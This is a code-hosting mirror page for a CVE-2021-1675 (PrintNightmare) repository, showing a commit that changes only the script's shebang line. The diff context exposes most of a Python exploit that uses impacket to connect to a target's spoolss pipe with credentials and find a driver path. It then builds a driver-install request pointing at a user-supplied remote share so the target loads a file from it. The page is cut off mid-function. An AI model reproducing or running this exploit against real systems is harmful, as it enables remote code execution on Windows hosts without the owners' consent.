r3pek/CVE-2021-1675
1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-12-22 18:56:33 +00:00
Code Releases Activity

Modify shebang so we are friendlier to virtualenvs

Browse source
This commit is contained in:
Watson, Cory 2021-07-14 17:00:56 -04:00
parent d2e96c1dc7
commit 3cb4354cc7
1 changed files with 7 additions and 7 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

14
CVE-2021-1675.py
View file

@ -1,4 +1,4 @@
#!/usr/bin/python3 #!/usr/bin/env python3
from impacket.dcerpc.v5 import rprn from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
@ -20,7 +20,7 @@ class DRIVER_INFO_2_BLOB(Structure):
def __init__(self, data = None): def __init__(self, data = None):
Structure.__init__(self, data = data) Structure.__init__(self, data = data)
def fromString(self, data, offset=0): def fromString(self, data, offset=0):
Structure.fromString(self, data) Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le') self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
@ -43,14 +43,14 @@ class DRIVER_INFO_2_ARRAY(Structure):
def connect(username, password, domain, lmhash, nthash, address, port): def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
rpctransport = transport.DCERPCTransportFactory(binding) rpctransport = transport.DCERPCTransportFactory(binding)
rpctransport.set_dport(port) rpctransport.set_dport(port)
rpctransport.setRemoteHost(address) rpctransport.setRemoteHost(address)
if hasattr(rpctransport, 'set_credentials'): if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences. # This method exists only for selected protocol sequences.
rpctransport.set_credentials(username, password, domain, lmhash, nthash) rpctransport.set_credentials(username, password, domain, lmhash, nthash)
print("[*] Connecting to {0}".format(binding)) print("[*] Connecting to {0}".format(binding))
try: try:
dce = rpctransport.get_dce_rpc() dce = rpctransport.get_dce_rpc()
@ -70,7 +70,7 @@ def getDriver(dce, handle=NULL):
for i in blobs['drivers']: for i in blobs['drivers']:
if "filerepository" in i['DriverPathArray'].lower(): if "filerepository" in i['DriverPathArray'].lower():
return i return i
print("[-] Failed to find driver") print("[-] Failed to find driver")
sys.exit(1) sys.exit(1)
@ -86,7 +86,7 @@ def main(dce, pDriverPath, share, handle=NULL):
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00" container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000 flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1] filename = share.split("\\")[-1]